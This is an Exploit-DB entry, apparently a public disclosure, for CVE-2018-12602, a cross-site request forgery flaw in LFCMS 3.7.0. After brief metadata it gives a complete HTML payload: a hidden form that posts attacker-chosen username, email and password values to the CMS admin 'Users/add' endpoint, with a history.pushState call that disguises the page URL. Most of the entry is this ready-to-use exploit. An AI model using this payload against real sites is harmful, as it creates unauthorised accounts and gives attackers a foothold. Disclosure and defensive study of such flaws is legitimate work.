LFCMS 3.7.0 - Cross-Site Request Forgery (Add User)

Author: bay0net
type: webapps
platform: php
port: 80.0
date_added: 2018-06-21  
date_updated: 2018-06-22  
verified: 0  
codes: CVE-2018-12602  
tags: Cross-Site Request Forgery (CSRF)  
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comlfdycms.zip  

raw file: 44918.html  
# Exploit Title: A CSRF vulnerability exists in LFCMS_3.7.0: users can be added arbitrarily.
# Date: 2018-06-20
# Exploit Author: bay0net
# Vendor Homepage: https://www.cnblogs.com/v1vvwv/p/9203740.html
# Software Link: http://www.lfdycms.com/home/down/index/id/26.html
# Version: 3.7.0
# CVE : CVE-2018-12602


A CSRF vulnerability exists in LFCMS_3.7.0: users can be added arbitrarily.


The payload for attack is as follows.


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.211.55.17/lfdycms3.7.0/admin.php?s=/Users/add.html" method="POST">
      <input type="hidden" name="username" value="test222" />
      <input type="hidden" name="email" value="test2@qq.com" />
      <input type="hidden" name="password" value="test222" />
      <input type="hidden" name="repassword" value="test222" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>